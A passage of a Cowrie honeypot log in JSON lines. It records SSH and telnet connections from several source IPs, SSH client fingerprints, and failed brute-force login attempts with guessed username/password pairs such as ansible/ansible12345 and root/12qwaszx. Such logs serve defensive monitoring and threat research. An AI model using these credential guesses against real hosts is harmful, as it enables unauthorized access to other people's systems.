e-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:56.350879Z","src_ip":"159.203.92.129","session":"fc86310c11ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible12345","message":"login attempt [ansible/ansible12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:56.364202Z","src_ip":"159.203.92.129","session":"fc86310c11ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:57.370951Z","src_ip":"159.203.92.129","session":"fc86310c11ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":38658,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7d8cdd15b57","protocol":"telnet","message":"New connection: 103.157.135.60:38658 (10.17.0.5:23) [session: f7d8cdd15b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:59.593449Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":36748,"dst_ip":"10.17.0.5","dst_port":23,"session":"71c334c8743f","protocol":"telnet","message":"New connection: 139.162.207.207:36748 (10.17.0.5:23) [session: 71c334c8743f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:00.596808Z"}
{"eventid":"cowrie.session.closed","duration":42.721110105514526,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:03.797566Z","src_ip":"139.162.207.207","session":"7d2c29504afc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":46740,"dst_ip":"10.17.0.5","dst_port":23,"session":"877679c9b26c","protocol":"telnet","message":"New connection: 139.162.207.207:46740 (10.17.0.5:23) [session: 877679c9b26c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:05.953785Z"}
{"eventid":"cowrie.session.closed","duration":30.517817735671997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:07.669048Z","src_ip":"103.157.135.60","session":"058aad7192ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.70058465003967,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:08.628813Z","src_ip":"139.162.207.207","session":"c9ab3b0c41fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":58382,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e4fee6e9c06","protocol":"telnet","message":"New connection: 103.157.135.60:58382 (10.17.0.5:23) [session: 9e4fee6e9c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:09.817945Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":46750,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca8e49ac30b6","protocol":"telnet","message":"New connection: 139.162.207.207:46750 (10.17.0.5:23) [session: ca8e49ac30b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:09.871211Z"}
{"eventid":"cowrie.session.closed","duration":30.879695892333984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:14.652564Z","src_ip":"103.157.135.60","session":"04a4b54f7402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.855929374694824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:24.716016Z","src_ip":"103.157.135.60","session":"e46faf0a0984","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":60202,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd27e8cfbb9d","protocol":"telnet","message":"New connection: 185.26.126.47:60202 (159.203.135.109:23) [session: dd27e8cfbb9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:24.888326Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":58436,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1653dd72c0b","protocol":"telnet","message":"New connection: 103.157.135.60:58436 (10.17.0.5:23) [session: f1653dd72c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:25.474665Z"}
{"eventid":"cowrie.session.closed","duration":30.573917388916016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:25.672250Z","src_ip":"103.157.135.60","session":"c10e200ffbef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15569543838501,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:30.749012Z","src_ip":"103.157.135.60","session":"f7d8cdd15b57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":44490,"dst_ip":"10.17.0.5","dst_port":23,"session":"328fa81e269d","protocol":"telnet","message":"New connection: 103.157.135.60:44490 (10.17.0.5:23) [session: 328fa81e269d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:34.215331Z"}
{"eventid":"cowrie.session.closed","duration":39.433589458465576,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:40.030235Z","src_ip":"139.162.207.207","session":"71c334c8743f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836525201797485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:40.654331Z","src_ip":"103.157.135.60","session":"9e4fee6e9c06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.803393840789795,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:40.971644Z","src_ip":"139.162.207.207","session":"a3b660d3ba75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.174.201","src_port":53110,"dst_ip":"10.17.0.5","dst_port":23,"session":"d30646b3145f","protocol":"telnet","message":"New connection: 205.254.174.201:53110 (10.17.0.5:23) [session: d30646b3145f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:41.411364Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56876,"dst_ip":"159.203.135.109","dst_port":22,"session":"09488d37ee4a","protocol":"ssh","message":"New connection: 159.203.92.129:56876 (159.203.135.109:22) [session: 09488d37ee4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:41.609194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:41.613669Z","src_ip":"159.203.92.129","session":"09488d37ee4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:41.618631Z","src_ip":"159.203.92.129","session":"09488d37ee4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible123456","message":"login attempt [ansible/ansible123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:41.637905Z","src_ip":"159.203.92.129","session":"09488d37ee4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:42.646281Z","src_ip":"159.203.92.129","session":"09488d37ee4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.51136040687561,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:43.464993Z","src_ip":"139.162.207.207","session":"877679c9b26c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.42661499977112,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:48.297711Z","src_ip":"139.162.207.207","session":"ca8e49ac30b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":53686,"dst_ip":"159.203.135.109","dst_port":22,"session":"61727f673fe9","protocol":"ssh","message":"New connection: 37.143.61.130:53686 (159.203.135.109:22) [session: 61727f673fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:51.880758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:53.391742Z","src_ip":"37.143.61.130","session":"61727f673fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.958971738815308,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:55.370201Z","src_ip":"205.254.174.201","session":"d30646b3145f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:56.587781Z","src_ip":"37.143.61.130","session":"61727f673fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.20392608642578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:52:56.678442Z","src_ip":"103.157.135.60","session":"f1653dd72c0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.52.131.58","src_port":60950,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0a6b0e473e6","protocol":"telnet","message":"New connection: 92.52.131.58:60950 (10.17.0.5:23) [session: c0a6b0e473e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:00.386319Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:00.920823Z","src_ip":"37.143.61.130","session":"61727f673fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:02.097947Z","src_ip":"37.143.61.130","session":"61727f673fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.3205885887146,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:04.208745Z","src_ip":"185.26.126.47","session":"dd27e8cfbb9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58722734451294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:04.802436Z","src_ip":"103.157.135.60","session":"328fa81e269d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":47284,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f6fcea71f3f","protocol":"telnet","message":"New connection: 103.157.135.60:47284 (10.17.0.5:23) [session: 3f6fcea71f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:18.643573Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":51468,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa17fccf7ed1","protocol":"telnet","message":"New connection: 103.157.135.60:51468 (10.17.0.5:23) [session: aa17fccf7ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:21.604054Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":53532,"dst_ip":"10.17.0.5","dst_port":23,"session":"21434baf987e","protocol":"telnet","message":"New connection: 103.157.135.60:53532 (10.17.0.5:23) [session: 21434baf987e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:24.707165Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35512,"dst_ip":"159.203.135.109","dst_port":22,"session":"eadafc8ab353","protocol":"ssh","message":"New connection: 159.203.92.129:35512 (159.203.135.109:22) [session: eadafc8ab353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:27.452219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:27.456689Z","src_ip":"159.203.92.129","session":"eadafc8ab353","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:27.460675Z","src_ip":"159.203.92.129","session":"eadafc8ab353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible1234567","message":"login attempt [ansible/ansible1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:27.469512Z","src_ip":"159.203.92.129","session":"eadafc8ab353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:28.499081Z","src_ip":"159.203.92.129","session":"eadafc8ab353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":54154,"dst_ip":"10.17.0.5","dst_port":23,"session":"63d10869cffe","protocol":"telnet","message":"New connection: 103.157.135.60:54154 (10.17.0.5:23) [session: 63d10869cffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:37.296246Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":48494,"dst_ip":"10.17.0.5","dst_port":23,"session":"770221f8f4a8","protocol":"telnet","message":"New connection: 139.162.207.207:48494 (10.17.0.5:23) [session: 770221f8f4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:38.907738Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":48510,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdb8a0a38590","protocol":"telnet","message":"New connection: 139.162.207.207:48510 (10.17.0.5:23) [session: fdb8a0a38590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:39.824418Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":48610,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f84a1ededda","protocol":"telnet","message":"New connection: 103.157.135.60:48610 (10.17.0.5:23) [session: 9f84a1ededda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:47.766074Z"}
{"eventid":"cowrie.session.closed","duration":31.025898694992065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:49.669211Z","src_ip":"103.157.135.60","session":"3f6fcea71f3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":50464,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4e8314a2688","protocol":"telnet","message":"New connection: 103.157.135.60:50464 (10.17.0.5:23) [session: b4e8314a2688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:51.772437Z"}
{"eventid":"cowrie.session.closed","duration":31.066250801086426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:52.670186Z","src_ip":"103.157.135.60","session":"aa17fccf7ed1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58338189125061,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:53:56.290418Z","src_ip":"103.157.135.60","session":"21434baf987e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":55868,"dst_ip":"10.17.0.5","dst_port":23,"session":"63c0fdaf732d","protocol":"telnet","message":"New connection: 103.157.135.60:55868 (10.17.0.5:23) [session: 63c0fdaf732d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:06.404562Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":56028,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4a7fd938478","protocol":"telnet","message":"New connection: 103.157.135.60:56028 (10.17.0.5:23) [session: b4a7fd938478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:06.538030Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":51614,"dst_ip":"10.17.0.5","dst_port":23,"session":"c126bd0c04a4","protocol":"telnet","message":"New connection: 103.157.135.60:51614 (10.17.0.5:23) [session: c126bd0c04a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:07.105909Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":58110,"dst_ip":"10.17.0.5","dst_port":23,"session":"41911102bcb5","protocol":"telnet","message":"New connection: 103.157.135.60:58110 (10.17.0.5:23) [session: 41911102bcb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:07.498840Z"}
{"eventid":"cowrie.session.closed","duration":30.36756420135498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:07.663668Z","src_ip":"103.157.135.60","session":"63d10869cffe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":47932,"dst_ip":"10.17.0.5","dst_port":23,"session":"144105663e08","protocol":"telnet","message":"New connection: 139.162.207.207:47932 (10.17.0.5:23) [session: 144105663e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:07.703047Z"}
